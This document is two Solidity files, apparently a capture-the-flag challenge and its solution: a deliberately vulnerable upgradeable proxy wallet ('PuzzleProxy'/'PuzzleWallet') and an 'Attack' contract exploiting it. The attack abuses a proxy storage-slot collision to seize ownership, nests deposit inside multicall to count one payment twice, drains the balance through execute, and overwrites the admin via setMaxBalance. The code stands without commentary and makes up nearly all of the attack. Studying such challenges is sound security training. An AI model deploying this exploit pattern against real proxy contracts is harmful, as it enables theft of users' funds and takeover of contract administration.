1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.0;
3

4
import "../helpers/UpgradeableProxy-08.sol";
5

6
contract PuzzleProxy is UpgradeableProxy {
7
    address public pendingAdmin;
8
    address public admin;
9

10
    constructor(address _admin, address _implementation, bytes memory _initData)
11
        UpgradeableProxy(_implementation, _initData)
12
    {
13
        admin = _admin;
14
    }
15

16
    modifier onlyAdmin() {
17
        require(msg.sender == admin, "Caller is not the admin");
18
        _;
19
    }
20

21
    function proposeNewAdmin(address _newAdmin) external {
22
        pendingAdmin = _newAdmin;
23
    }
24

25
    function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
26
        require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
27
        admin = pendingAdmin;
28
    }
29

30
    function upgradeTo(address _newImplementation) external onlyAdmin {
31
        _upgradeTo(_newImplementation);
32
    }
33
}
34

35
contract PuzzleWallet {
36
    address public owner;
37
    uint256 public maxBalance;
38
    mapping(address => bool) public whitelisted;
39
    mapping(address => uint256) public balances;
40

41
    function init(uint256 _maxBalance) public {
42
        require(maxBalance == 0, "Already initialized");
43
        maxBalance = _maxBalance;
44
        owner = msg.sender;
45
    }
46

47
    modifier onlyWhitelisted() {
48
        require(whitelisted[msg.sender], "Not whitelisted");
49
        _;
50
    }
51

52
    function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
53
        require(address(this).balance == 0, "Contract balance is not 0");
54
        maxBalance = _maxBalance;
55
    }
56

57
    function addToWhitelist(address addr) external {
58
        require(msg.sender == owner, "Not the owner");
59
        whitelisted[addr] = true;
60
    }
61

62
    function deposit() external payable onlyWhitelisted {
63
        require(address(this).balance <= maxBalance, "Max balance reached");
64
        balances[msg.sender] += msg.value;
65
    }
66

67
    function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
68
        require(balances[msg.sender] >= value, "Insufficient balance");
69
        balances[msg.sender] -= value;
70
        (bool success,) = to.call{value: value}(data);
71
        require(success, "Execution failed");
72
    }
73

74
    function multicall(bytes[] calldata data) external payable onlyWhitelisted {
75
        bool depositCalled = false;
76
        for (uint256 i = 0; i < data.length; i++) {
77
            bytes memory _data = data[i];
78
            bytes4 selector;
79
            assembly {
80
                selector := mload(add(_data, 32))
81
            }
82
            if (selector == this.deposit.selector) {
83
                require(!depositCalled, "Deposit can only be called once");
84
                // Protect against reusing msg.value
85
                depositCalled = true;
86
            }
87
            (bool success,) = address(this).delegatecall(data[i]);
88
            require(success, "Error while delegating call");
89
        }
90
    }
91
}

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.0;
3

4
interface IProxy {
5
    function proposeNewAdmin(address _newAdmin) external;
6
    function addToWhitelist(address addr) external;
7
    function multicall(bytes[] calldata data) external payable;
8
    function setMaxBalance(uint256 _maxBalance) external;
9
    function deposit() external payable;
10
    function execute(address to, uint256 value, bytes calldata data) external payable;
11
}
12

13
contract Attack {
14
    IProxy proxy;
15

16
    constructor(address _addr) payable {
17
        proxy = IProxy(_addr);
18
    }
19

20
    function attack() public {
21
        proxy.proposeNewAdmin(address(this));
22
        proxy.addToWhitelist(address(this));
23

24
        bytes[] memory deposit = new bytes[](1);
25
        deposit[0] = abi.encodeWithSelector(proxy.deposit.selector);
26

27
        bytes[] memory data = new bytes[](2);
28
        data[0] = abi.encodeWithSelector(proxy.deposit.selector);
29
        data[1] = abi.encodeWithSelector(proxy.multicall.selector, deposit);
30

31
        proxy.multicall{value: 0.001 ether}(data);
32
        proxy.execute(msg.sender, 0.002 ether, "");
33
        proxy.setMaxBalance(uint256(uint160(msg.sender)));
34
    }
35
}